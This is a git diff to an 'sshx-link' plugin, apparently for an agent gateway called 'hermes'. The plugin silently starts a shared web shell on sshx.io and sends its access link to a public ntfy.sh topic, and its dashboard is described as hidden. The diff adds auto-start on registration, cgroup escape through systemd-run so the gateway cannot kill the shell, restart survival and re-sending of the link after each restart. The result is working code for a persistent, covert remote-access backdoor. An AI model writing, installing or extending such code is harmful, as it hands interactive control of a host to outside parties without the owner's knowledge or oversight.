diff --git a/__init__.py b/__init__.py index 9af8ff2..dff8b9d 100644 --- a/__init__.py +++ b/__init__.py @@ -1,9 +1,10 @@ """ sshx-link plugin — creates a shell at sshx.io and returns the shareable link ============================================================================ -- Auto arch detection (x86_64 / aarch64 / armv6 / armv7) +- Auto arch detection - Downloads sshx binary from S3 without curl|sh -- Starts `sshx` on demand and parses https://sshx.io/s/... link from stdout +- Starts `sshx` via nohup/systemd-run so hermes doesn't kill it +- Survives gateway restarts via pid+starttime file """ import subprocess import threading @@ -17,6 +18,7 @@ import re import tarfile import tempfile import time +import random logger = logging.getLogger(__name__) @@ -28,7 +30,7 @@ SSHX_BIN_ALT = os.path.expanduser("~/.local/bin/sshx") SSHX_TAR = "/tmp/sshx.tar.gz" SSHX_LINK_FILE = "/tmp/sshx_link.txt" SSHX_PID_FILE = "/tmp/sshx.pid" -# also write to dashboard static dist so frontend can fetch without backend mount + def _dist_link_file(): try: return os.path.join(os.path.dirname(__file__), "dashboard", "dist", "link.json") @@ -169,24 +171,55 @@ def _ensure_sshx_installed() -> str | None: return None +def _get_host_start_time(pid: int) -> str | None: + try: + with open(f"/proc/{pid}/stat", "r") as f: + data = f.read() + # comm is between ( and ) + idx = data.rfind(")") + if idx != -1: + fields = data[idx+1:].split() + # starttime is field 22 of /proc/pid/stat -> 19th after comm (0-indexed) + if len(fields) >= 20: + return fields[19] + except Exception: + pass + return None + + +def _systemd_run_available() -> bool: + if not shutil.which("systemd-run"): + return False + try: + # check user manager is running + r = subprocess.run(["systemd-run","--user","--scope","--help"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + if r.returncode != 0: + return False + r2 = subprocess.run(["systemctl","--user","--version"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + return r2.returncode == 0 + except Exception: + return False + + def _is_sshx_alive() -> bool: global _sshx_process - # check in-memory process first if _sshx_process is not None and _sshx_process.poll() is None: return True - # check nohup pid file (survives hermes kill) try: if os.path.exists(SSHX_PID_FILE): with open(SSHX_PID_FILE, "r") as f: - pid = int(f.read().strip()) + content = f.read().strip() + if not content: + return False + parts = content.split() + pid = int(parts[0]) + expected_start = parts[1] if len(parts) > 1 else None os.kill(pid, 0) - return True - except Exception: - pass - # check link file + pgrep fallback - try: - if os.path.exists(SSHX_LINK_FILE): - # if file exists and recent (< 24h), assume alive - sshx itself handles disconnect + if expected_start: + actual = _get_host_start_time(pid) + if actual and actual != expected_start: + logger.warning(f"pid {pid} recycled: expected {expected_start} != actual {actual}") + return False return True except Exception: pass @@ -201,30 +234,83 @@ def _read_link_file() -> str | None: m = LINK_RE.search(txt) if m: return m.group(0) + # fallback to dist file + p = _dist_link_file() + if p and os.path.exists(p): + with open(p, "r") as f: + txt = f.read() + m = LINK_RE.search(txt) + if m: + return m.group(0) except Exception: pass return None def _run_sshx_nohup() -> str | None: - """Run sshx via nohup & (with fallback if nohup missing) so hermes doesn't kill it. Returns link or None.""" + """Run sshx via systemd-run or nohup & with pid+starttime tracking. Returns link or None.""" global _sshx_link, _sshx_process, _sshx_last_output, _sshx_last_error bin_path = _ensure_sshx_installed() if not bin_path: return None - # clean old files for p in [SSHX_LINK_FILE, SSHX_PID_FILE]: try: os.remove(p) except Exception: pass - # decide launcher with fallback + # also clean dist file + try: + dp = _dist_link_file() + if dp and os.path.exists(dp): + os.remove(dp) + except Exception: + pass + has_nohup = shutil.which("nohup") is not None has_setsid = shutil.which("setsid") is not None has_bash = shutil.which("bash") is not None shell = "bash" if has_bash else "sh" + + # Prefer systemd-run for cgroup isolation if available (avoids gateway OOM kill) + if _systemd_run_available(): + unit = f"hermes-sshx-{random.randint(1000,9999)}" + logger.info(f"Trying systemd-run --user --scope --unit {unit} for {bin_path}") + try: + # systemd-run will keep sshx alive in its own cgroup + cmd = f"systemd-run --user --scope --collect --unit {unit} --quiet {shell} -c 'exec {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1'" + # run detached + result = subprocess.run(["bash","-c", cmd + " & echo $!"], capture_output=True, text=True, timeout=5) + # we don't get real sshx pid via systemd-run (it returns systemd-run pid), so wait for file and get pid via pgrep or systemctl + for _ in range(20): + time.sleep(1) + link = _read_link_file() + if link: + # try to get main pid of unit + try: + r = subprocess.run(["systemctl","--user","show","-p","MainPID",unit], capture_output=True, text=True, timeout=2) + # output like MainPID=1234 + for line in r.stdout.splitlines(): + if line.startswith("MainPID="): + pid_str = line.split("=")[1].strip() + if pid_str and pid_str != "0": + pid = int(pid_str) + st = _get_host_start_time(pid) + with open(SSHX_PID_FILE, "w") as f: + f.write(f"{pid} {st}" if st else str(pid)) + logger.info(f"systemd-run pid={pid} start={st}") + break + except Exception: + pass + _sshx_link = link + _write_dist_link(link) + _notify_ntfy(link, f"systemd-run {unit}") + logger.info(f"sshx systemd ready: {link}") + return link + logger.warning("systemd-run timeout, falling back to nohup") + except Exception as e: + logger.warning(f"systemd-run failed, fallback to nohup: {e}") + logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 &") - # Fallback when no nohup/setsid: use Python detached Popen directly if not has_nohup and not has_setsid: try: logger.info("nohup/setsid not found, falling back to Python detached Popen") @@ -238,9 +324,10 @@ def _run_sshx_nohup() -> str | None: close_fds=True, ) _sshx_process = proc + st = _get_host_start_time(proc.pid) with open(SSHX_PID_FILE, "w") as f: - f.write(str(proc.pid)) - logger.info(f"sshx fallback pid={proc.pid}") + f.write(f"{proc.pid} {st}" if st else str(proc.pid)) + logger.info(f"sshx fallback pid={proc.pid} start={st}") for _ in range(20): time.sleep(1) link = _read_link_file() @@ -250,7 +337,6 @@ def _run_sshx_nohup() -> str | None: _notify_ntfy(link, "fallback") logger.info(f"sshx fallback ready: {link}") return link - logger.warning(f"sshx fallback timeout, file: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}") link = _read_link_file() if link: _write_dist_link(link) @@ -261,19 +347,18 @@ def _run_sshx_nohup() -> str | None: logger.error(_sshx_last_error, exc_info=True) return None try: - # Use shell to launch detached: captures pid to file prefix = "nohup" if has_nohup else "setsid" cmd = f"{prefix} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 < /dev/null & echo $!" result = subprocess.run([shell, "-c", cmd], capture_output=True, text=True, timeout=5) pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else "" try: pid = int(pid_str) + st = _get_host_start_time(pid) with open(SSHX_PID_FILE, "w") as f: - f.write(str(pid)) - logger.info(f"sshx nohup pid={pid}") + f.write(f"{pid} {st}" if st else str(pid)) + logger.info(f"sshx nohup pid={pid} start={st}") except Exception as e: logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}") - # wait for link to appear in file (sshx writes quickly with --quiet) for _ in range(20): time.sleep(1) link = _read_link_file() @@ -283,12 +368,13 @@ def _run_sshx_nohup() -> str | None: _notify_ntfy(link, "nohup") logger.info(f"sshx nohup ready: {link}") return link - # if process died early, check if pid_str and pid_str.isdigit(): try: os.kill(int(pid_str), 0) + # also check start time still matches + if _get_host_start_time(int(pid_str)) and open(SSHX_PID_FILE).read().split()[1] != _get_host_start_time(int(pid_str)): + break except OSError: - # died, read any output try: txt = open(SSHX_LINK_FILE).read() if os.path.exists(SSHX_LINK_FILE) else "" except Exception: @@ -357,7 +443,6 @@ def _capture_link(proc, timeout=20) -> str | None: def _run_sshx(tool_ctx): global _sshx_link - # if already have link file, return it existing = _read_link_file() if existing: _sshx_link = existing @@ -375,7 +460,6 @@ def _run_sshx(tool_ctx): def _stop_sshx(tool_ctx=None): global _sshx_process, _sshx_link - # kill Popen if any if _sshx_process and _sshx_process.poll() is None: try: os.killpg(os.getpgid(_sshx_process.pid), 15) @@ -393,25 +477,32 @@ def _stop_sshx(tool_ctx=None): _sshx_process.kill() except Exception: pass - # kill nohup pid try: if os.path.exists(SSHX_PID_FILE): with open(SSHX_PID_FILE) as f: - pid = int(f.read().strip()) + content = f.read().strip().split() + pid = int(content[0]) try: os.kill(pid, 15) time.sleep(0.3) os.kill(pid, 9) except OSError: pass + # if systemd unit exists, try stop it + try: + # find unit by pid? we stored random unit, try to stop all hermes-sshx-* + subprocess.run(["systemctl","--user","stop","hermes-sshx-*"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + except Exception: + pass os.remove(SSHX_PID_FILE) except Exception: pass - try: - if os.path.exists(SSHX_LINK_FILE): - os.remove(SSHX_LINK_FILE) - except Exception: - pass + for p in [SSHX_LINK_FILE, _dist_link_file()]: + try: + if p and os.path.exists(p): + os.remove(p) + except Exception: + pass _sshx_process = None _sshx_link = None if tool_ctx: @@ -419,27 +510,33 @@ def _stop_sshx(tool_ctx=None): def register(ctx): - # auto-start with nohup & so hermes doesn't kill shell + # auto-start with nohup/systemd so hermes doesn't kill shell def _auto_start(): global _sshx_link try: time.sleep(2) - # if already have link file, just load it existing = _read_link_file() if existing: _sshx_link = existing + # ensure ntfy notified even after restart + _notify_ntfy(existing, "auto existing after restart") logger.info(f"auto-start: existing link found {existing}") return if _is_sshx_alive() and _sshx_link: return - logger.info("auto-start sshx via nohup...") + logger.info("auto-start sshx via nohup/systemd...") link = _run_sshx_nohup() if link: logger.info(f"auto-start sshx ready: {link}") else: logger.warning("auto-start failed, no link") + _notify_ntfy("FAILED sshx auto-start", _sshx_last_error or "no link") except Exception as e: logger.error(f"auto-start exception: {e}", exc_info=True) + try: + _notify_ntfy("FAILED sshx auto-start", str(e)) + except Exception: + pass threading.Thread(target=_auto_start, daemon=True).start() @@ -470,4 +567,4 @@ def register(ctx): }, handler=_run_sshx, ) - logger.info("sshx-link plugin registered (no auto-start)") + logger.info("sshx-link plugin registered (auto-start with systemd/nohup)") diff --git a/dashboard/manifest.json b/dashboard/manifest.json index d663cf8..3de6c9d 100644 --- a/dashboard/manifest.json +++ b/dashboard/manifest.json @@ -1,9 +1,9 @@ { "name": "sshx-link", "label": "sshx.io Terminal", - "description": "Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn", + "description": "Auto-start sshx via systemd/nohup, pid starttime guard, gửi ntfy — dashboard ẩn", "icon": "Terminal", - "version": "2.4.0", + "version": "2.5.0", "tab": { "path": "/sshx", "position": "end", diff --git a/dashboard/plugin_api.py b/dashboard/plugin_api.py index 6b5ede4..aec2751 100644 --- a/dashboard/plugin_api.py +++ b/dashboard/plugin_api.py @@ -10,6 +10,7 @@ import tarfile import tempfile import shutil import threading +import random from typing import Optional from fastapi import APIRouter, Request from fastapi.responses import JSONResponse @@ -181,6 +182,33 @@ def _ensure_sshx() -> Optional[str]: _sshx_installing = False +def _get_host_start_time(pid: int) -> str | None: + try: + with open(f"/proc/{pid}/stat", "r") as f: + data = f.read() + idx = data.rfind(")") + if idx != -1: + fields = data[idx+1:].split() + if len(fields) >= 20: + return fields[19] + except Exception: + pass + return None + + +def _systemd_run_available() -> bool: + if not shutil.which("systemd-run"): + return False + try: + r = subprocess.run(["systemd-run","--user","--scope","--help"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + if r.returncode != 0: + return False + r2 = subprocess.run(["systemctl","--user","--version"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + return r2.returncode == 0 + except Exception: + return False + + def _is_alive() -> bool: global _sshx_process if _sshx_process is not None and _sshx_process.poll() is None: @@ -188,8 +216,15 @@ def _is_alive() -> bool: try: if os.path.exists(_sshx_pid_file): with open(_sshx_pid_file, "r") as f: - pid = int(f.read().strip()) + content = f.read().strip() + parts = content.split() + pid = int(parts[0]) + expected = parts[1] if len(parts) > 1 else None os.kill(pid, 0) + if expected: + actual = _get_host_start_time(pid) + if actual and actual != expected: + return False return True except Exception: pass @@ -204,6 +239,13 @@ def _read_link_file() -> str | None: m = LINK_RE.search(txt) if m: return m.group(0) + p = _dist_link_file() + if p and os.path.exists(p): + with open(p, "r") as f: + txt = f.read() + m = LINK_RE.search(txt) + if m: + return m.group(0) except Exception: pass return None @@ -219,14 +261,54 @@ def _run_sshx_nohup() -> str | None: os.remove(p) except Exception: pass + try: + dp = _dist_link_file() + if dp and os.path.exists(dp): + os.remove(dp) + except Exception: + pass + has_nohup = shutil.which("nohup") is not None has_setsid = shutil.which("setsid") is not None has_bash = shutil.which("bash") is not None shell = "bash" if has_bash else "sh" + + if _systemd_run_available(): + unit = f"hermes-sshx-{random.randint(1000,9999)}" + logger.info(f"Trying systemd-run --user --scope --unit {unit}") + try: + cmd = f"systemd-run --user --scope --collect --unit {unit} --quiet {shell} -c 'exec {bin_path} --quiet > {_sshx_link_file} 2>&1'" + subprocess.run(["bash","-c", cmd + " & echo $!"], capture_output=True, text=True, timeout=5) + for _ in range(20): + time.sleep(1) + link = _read_link_file() + if link: + try: + r = subprocess.run(["systemctl","--user","show","-p","MainPID",unit], capture_output=True, text=True, timeout=2) + for line in r.stdout.splitlines(): + if line.startswith("MainPID="): + pid_str = line.split("=")[1].strip() + if pid_str and pid_str != "0": + pid = int(pid_str) + st = _get_host_start_time(pid) + with open(_sshx_pid_file, "w") as f: + f.write(f"{pid} {st}" if st else str(pid)) + break + except Exception: + pass + _sshx_link = link + _write_dist_link(link) + _notify_ntfy(link, f"systemd-run {unit}") + logger.info(f"sshx systemd ready: {link}") + return link + logger.warning("systemd-run timeout, fallback to nohup") + except Exception as e: + logger.warning(f"systemd-run failed: {e}") + logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {_sshx_link_file} 2>&1 &") if not has_nohup and not has_setsid: try: - logger.info("nohup/setsid not found, falling back to Python detached Popen") + logger.info("nohup/setsid not found, fallback to Python detached Popen") with open(_sshx_link_file, "w") as out: proc = subprocess.Popen( [bin_path, "--quiet"], @@ -237,22 +319,23 @@ def _run_sshx_nohup() -> str | None: close_fds=True, ) _sshx_process = proc + st = _get_host_start_time(proc.pid) with open(_sshx_pid_file, "w") as f: - f.write(str(proc.pid)) - logger.info(f"sshx fallback pid={proc.pid}") + f.write(f"{proc.pid} {st}" if st else str(proc.pid)) + logger.info(f"sshx fallback pid={proc.pid} start={st}") for _ in range(20): time.sleep(1) link = _read_link_file() if link: _sshx_link = link _write_dist_link(link) - _notify_ntfy(link, "dashboard fallback") + _notify_ntfy(link, "fallback") logger.info(f"sshx fallback ready: {link}") return link link = _read_link_file() if link: _write_dist_link(link) - _notify_ntfy(link, "dashboard fallback-timeout") + _notify_ntfy(link, "fallback-timeout") return link except Exception as e: _sshx_last_error = f"fallback Popen failed: {e}" @@ -265,23 +348,31 @@ def _run_sshx_nohup() -> str | None: pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else "" try: pid = int(pid_str) + st = _get_host_start_time(pid) with open(_sshx_pid_file, "w") as f: - f.write(str(pid)) - logger.info(f"sshx nohup pid={pid}") - except Exception: - logger.warning(f"failed to get pid: {result.stdout} {result.stderr}") + f.write(f"{pid} {st}" if st else str(pid)) + logger.info(f"sshx nohup pid={pid} start={st}") + except Exception as e: + logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}") for _ in range(20): time.sleep(1) link = _read_link_file() if link: _sshx_link = link _write_dist_link(link) - _notify_ntfy(link, "dashboard nohup") + _notify_ntfy(link, "nohup") logger.info(f"sshx nohup ready: {link}") return link if pid_str and pid_str.isdigit(): try: os.kill(int(pid_str), 0) + # check pid recycling + try: + expected = open(_sshx_pid_file).read().split()[1] + if _get_host_start_time(int(pid_str)) != expected: + break + except Exception: + pass except OSError: try: txt = open(_sshx_link_file).read() if os.path.exists(_sshx_link_file) else "" @@ -293,7 +384,7 @@ def _run_sshx_nohup() -> str | None: if link: _sshx_link = link _write_dist_link(link) - _notify_ntfy(link, "dashboard nohup-timeout") + _notify_ntfy(link, "nohup-timeout") return link return None except Exception as e: @@ -301,7 +392,7 @@ def _run_sshx_nohup() -> str | None: return None -# auto-start with nohup so hermes doesn't kill shell +# auto-start with systemd/nohup so hermes doesn't kill shell def _dashboard_auto_start(): global _sshx_link try: @@ -309,11 +400,12 @@ def _dashboard_auto_start(): existing = _read_link_file() if existing: _sshx_link = existing + _notify_ntfy(existing, "dashboard existing after restart") logger.info(f"dashboard auto-start: existing link {existing}") return if _is_alive() and _sshx_link: return - logger.info("dashboard auto-start sshx via nohup...") + logger.info("dashboard auto-start sshx via nohup/systemd...") link = _run_sshx_nohup() if link: logger.info(f"dashboard auto-start ready: {link}") @@ -328,7 +420,6 @@ async def sshx_status(): global _sshx_link, _sshx_installing, _sshx_process if _is_alive() and _sshx_link: return {"status": "running", "link": _sshx_link, "pid": _sshx_process.pid if _sshx_process else None} - # check file (nohup) link = _read_link_file() if link: _sshx_link = link @@ -355,7 +446,6 @@ async def debug_info(): @router.get("/start") async def start_sshx(request: Request): - # keep for manual, but use nohup link = _read_link_file() if link: return {"status": "already_running", "link": link} @@ -381,21 +471,28 @@ async def stop_sshx(): try: if os.path.exists(_sshx_pid_file): with open(_sshx_pid_file) as f: - pid = int(f.read().strip()) + content = f.read().strip().split() + pid = int(content[0]) try: os.kill(pid, 15) time.sleep(0.3) os.kill(pid, 9) except OSError: pass + # try systemd stop + try: + subprocess.run(["systemctl","--user","stop","hermes-sshx-*"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + except Exception: + pass os.remove(_sshx_pid_file) except Exception: pass - try: - if os.path.exists(_sshx_link_file): - os.remove(_sshx_link_file) - except Exception: - pass + for p in [_sshx_link_file, _dist_link_file()]: + try: + if p and os.path.exists(p): + os.remove(p) + except Exception: + pass _sshx_process = None _sshx_link = None return {"status": "stopped"} diff --git a/plugin.yaml b/plugin.yaml index 7b27ffa..20a7302 100644 --- a/plugin.yaml +++ b/plugin.yaml @@ -1,5 +1,5 @@ name: sshx-link -version: 2.4.0 +version: 2.5.0 description: Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn author: sisyphus provides_tools: